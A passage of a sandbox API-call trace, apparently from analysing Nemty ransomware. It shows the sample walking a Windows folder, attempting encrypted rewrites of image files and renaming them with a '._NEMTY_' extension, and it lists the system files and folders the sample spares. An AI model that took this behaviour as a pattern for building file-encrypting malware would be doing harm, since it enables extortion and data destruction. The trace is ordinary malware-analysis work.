pszString="K5Nhvrd7reIiEtcMTTmgkv0e2PL8dgVosUW68tPAfTPF0TOmBPwDoX78hxzFOzY0\r\nTAKAUhfWySJhPDlniJcxTfwn5ONx/XfJ05jPUerdX1krldIe8SRmxJoIPVfsTlYj\r\nQPdUri3QlpvUdsoyxClv/da/XG0Y3MTfzKvWzNjOke2TZ0dewtWIRgcTH0BG51Gp\r\nYfZHZonLt1/R7YePzdvrDH0zoNgxu2NQm6+/UjfAJ/3hqFqCK1kRKGSxIQLYNi9V\r\nMwFckFTWNnMMRsVxSCuEtTHFfc7oo4iBBg03Ag/hcGNsnwHpmcpsx+9IpYkSPcgh\r\nzovrxLe73eGcciUCk17DbA==\r\n", pcchString=0x653e91c) returned 1 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.791] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.792] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.896] CloseHandle (hObject=0xffffffff) returned 0 [0148.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0148.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png._nemty_kgobjgd_")) returned 0 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.896] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0148.896] lstrcmpiW (lpString1="prev_hov.png", lpString2=".") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="..") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="...") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="windows") returned -1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="$RECYCLE.BIN") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="rsa") returned -1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="NTDETECT.COM") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="ntldr") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="MSDOS.SYS") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="IO.SYS") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="boot.ini") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="boot.ini") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="ntuser.dat") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="desktop.ini") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="CONFIG.SYS") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="RECYCLER") returned -1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="BOOTSECT.BAK") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="bootmgr") returned 1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="programdata") returned -1 [0148.897] lstrcmpiW (lpString1="prev_hov.png", lpString2="appdata") returned 1 [0148.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.898] Sleep (dwMilliseconds=0x5) [0148.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc65e910, dwHighDateTime=0x1d561e8)) [0148.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc65e910, dwHighDateTime=0x1d561e8)) [0148.908] GetLastError () returned 0x5 [0148.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.908] GetLastError () returned 0x5 [0148.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.909] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.909] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="6YibyWds2cpO0V1xcZnf7z/531oaEhwCsuAhvNLrocPBp4zQHF0B1GoWo/+g7y/i\r\nqOycPDLkCZRhIshxCGOVYapUZJP7pYfpnV2f7C6fd77Qt+5voAj+FBwJau2LVCDK\r\nczV5EXKAqt9uvIiCbxHzyuUXcvyiDwx1Pw0SDclG3Ktpdad7ljtw+Z2sWF41i2Js\r\nfJV2dNz/LNV6hRX9No2azBHFL3FdwXyHcde+0sH8ilCyEI6mShQzzrG9Ay9H+Bff\r\niaTERCDDf1Uy3Y+VbeUkxgrvD7SOSsYOdKkYd7IkHtlkeYO8nO8GS4IRIGUSrTbD\r\nrZOY8GR7GiKiJsaW4Tguew==\r\n", pcchString=0x653e91c) returned 1 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.909] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.909] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 